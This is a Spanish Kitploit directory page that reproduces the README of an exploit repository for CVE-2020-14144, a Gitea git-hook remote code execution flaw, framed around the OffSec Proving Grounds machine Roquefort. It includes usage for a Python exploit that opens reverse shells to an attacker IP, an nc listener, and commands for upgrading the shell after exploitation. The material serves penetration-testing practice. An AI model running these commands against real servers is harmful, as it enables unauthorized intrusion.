Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Gitea-Git-Hooks-RCE-CVE-2020-14144- — Gitea versiones 1.1.0 → 1.12.5 permiten a usuarios autenticados con el permiso "May create git hooks" inyectar comandos arbitrarios de shell en los hooks post-receive. Hacer push de un commit desencadena el hook y ejecuta el payload en el servidor. | Kitploit
Herramientas/GitHubGitHub/mohnad-al-saif/gitea-git-hooks-rce-cve-2020-14144-
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubmohnad-al-saif/gitea-git-hooks-rce-cve-2020-14144-

Gitea-Git-Hooks-RCE-CVE-2020-14144-

Gitea versiones 1.1.0 → 1.12.5 permiten a usuarios autenticados con el permiso "May create git hooks" inyectar comandos arbitrarios de shell en los hooks post-receive. Hacer push de un commit desencadena el hook y ejecuta el payload en el servidor.

Ver Repositorio
6hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Gitea Git Hooks RCE (CVE-2020-14144)

Práctica de OffsecProvingGrounds — Informe de la Máquina Roquefort y POC

Resumen

ElementoDetalle
MáquinaRoquefort (Práctica de Proving Grounds)
SOLinux
Versión de Gitea1.7.5
CVECVE-2020-14144
VectorRCE Autenticado vía Git Hooks
Shell de Usuariochloe

Las versiones de Gitea 1.1.0 → 1.12.5 permiten a usuarios autenticados con el permiso "Puede crear git hooks" inyectar comandos de shell arbitrarios en los hooks post-receive. Al enviar un commit se activa el hook y se ejecuta el payload en el servidor.

Inicio Rápido

Automatizado (Script de Python)

# Linux target — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux

# Windows target — PowerShell reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows

Manual

Consulte MANUAL.md para la guía de explotación paso a paso.

Estructura del Repositorio

.
├── README.md          # Este archivo
├── MANUAL.md          # Guía de explotación manual (Linux + Windows)
└── exploit.py         # Script de explotación automatizado

Requisitos

  • Python 3.6+
  • Librería requests (pip install requests)
  • git instalado en la máquina atacante
  • Credenciales válidas de Gitea con permisos de git hook

Uso

usage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
                  [--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]

Roquefort — Gitea Authenticated RCE via Git Hooks (CVE-2020-14144)

required arguments:
  -t, --target       Target Gitea URL (e.g. http://192.168.x.x:3000)
  -u, --username     Gitea username
  -p, --password     Gitea password
  -I, --rev-ip       Attacker listener IP
  -P, --rev-port     Attacker listener port

optional arguments:
  --os               Target OS: linux (default) or windows
  --repo             Repository name to create (default: exploit)
  -f, --payload-file Custom shell script payload file
  -v, --verbose      Verbose output

Ejemplos

# 1) Start listener
nc -lvnp 4444

# 2) Run exploit (Linux target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444

# 3) Run exploit (Windows target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444 --os windows

# 4) Custom payload file
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444 -f payload.sh

Mejora de Shell (Post-Explotación)

Después de obtener la reverse shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

Solución de Problemas

ProblemaSolución
fatal: dubious ownershipClone desde ~ en lugar de carpetas compartidas, o ejecuta git config --global --add safe.directory '*'
No se recibe conexiónVerifica la IP del atacante, comprueba el firewall, confirma que ambas máquinas están en la misma subred
El hook se ejecuta pero no hay shellPrueba primero con el payload touch /tmp/pwned — si aparece el archivo, la reverse shell está siendo bloqueada
Permiso denegado en hooksEl usuario no tiene permisos de hook — necesita privilegios de administrador o "Puede crear git hooks"
Conflicto de puerto en 3000Gitea usa 3000 — usa un puerto diferente como 4444 para tu listener

Referencias

  • CVE-2020-14144 — NVD
  • Gitea Issue #13058
  • p0dalirius Original POC

Descargo de Responsabilidad

Esta herramienta está destinada únicamente a pruebas de penetración autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Úsala de manera responsable.

Descargar herramienta